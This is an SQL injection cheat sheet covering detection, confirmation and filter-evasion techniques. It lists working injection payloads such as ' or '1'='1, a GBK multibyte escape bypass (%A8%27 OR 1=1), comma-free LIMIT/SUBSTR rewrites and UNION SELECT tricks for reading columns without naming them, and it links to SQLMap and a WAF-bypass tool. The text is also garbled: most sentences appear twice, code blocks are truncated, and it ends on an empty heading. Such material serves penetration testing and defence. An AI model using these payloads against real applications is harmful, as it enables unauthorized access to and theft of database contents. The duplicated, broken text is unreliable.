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# SQL Injection
SQL injection is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. It generally allows an attacker to view data that they are not normally able to retrieve. This might include data belonging to other users, or any other data that the application itself is able to access. In many cases, an attacker can modify or delete this data, causing persistent changes to the application's content or behaviour.
## Entry point detection
the first thing you need to do is how to inject data in the query without breaking it. To do so you first need to find how to escape from the current context.
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```
## Confirming with logical operations
> For example: if the GET parameter ?username=Peter returns the same content as ?username=Peter' or '1'='1 then, you found a SQL injection, OR If ?id=1 returns the same as ?id=2-1, SQLinjection.
> For example: if the GET parameter ?username=Peter returns the same content as **?username=Peter' or '1'='1** then, you found a SQL injection, OR If **?id=1 returns the same as ?id=2-1**, SQLinjection.
```bash
page.asp?id=1 or 1=1 -- true
page.asp?id=1' or 1=1 -- true
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```
## GBK Authentication Bypass
IF ' is being scaped you can use %A8%27, and when ' gets scaped it will be created: 0xA80x5c0x27 (╘')
IF ' is being scaped you can use `%A8%27`, and when **'** gets scaped it will be created: `0xA80x5c0x27 (╘')`
```bash
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
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```
### No commas bypass
No Comma - bypass using OFFSET, FROM and JOIN
No Comma - bypass using `OFFSET`, `FROM` and `JOIN`
```bash
LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
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```
### Bypass Column Names Restriction
First of all, notice that if the original query and the table where you want to extract the flag from have the same amount of columns you might just do: 0 UNION SELECT * FROM flag
First of all, notice that if the original query and the table where you want to extract the flag from have the same amount of columns you might just do: `0 UNION SELECT * FROM flag`
It’s possible to access the third column of a table without using its name using a query like the following: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;, so in an sqlinjection this would looks like:
It’s possible to access the third column of a table without using its name using a query like the following: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, so in an sqlinjection this would looks like:
```bash
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
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```
This trick was taken from [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
### [WAF bypass suggester tools](https://github.com/m4ll0k/Atlas)
## Tools
* [SQLMap](https://github.com/sqlmapproject/sqlmap)
* [WAF bypass suggester tools](https://github.com/m4ll0k/Atlas)
## Brute-Force Detection List
```bash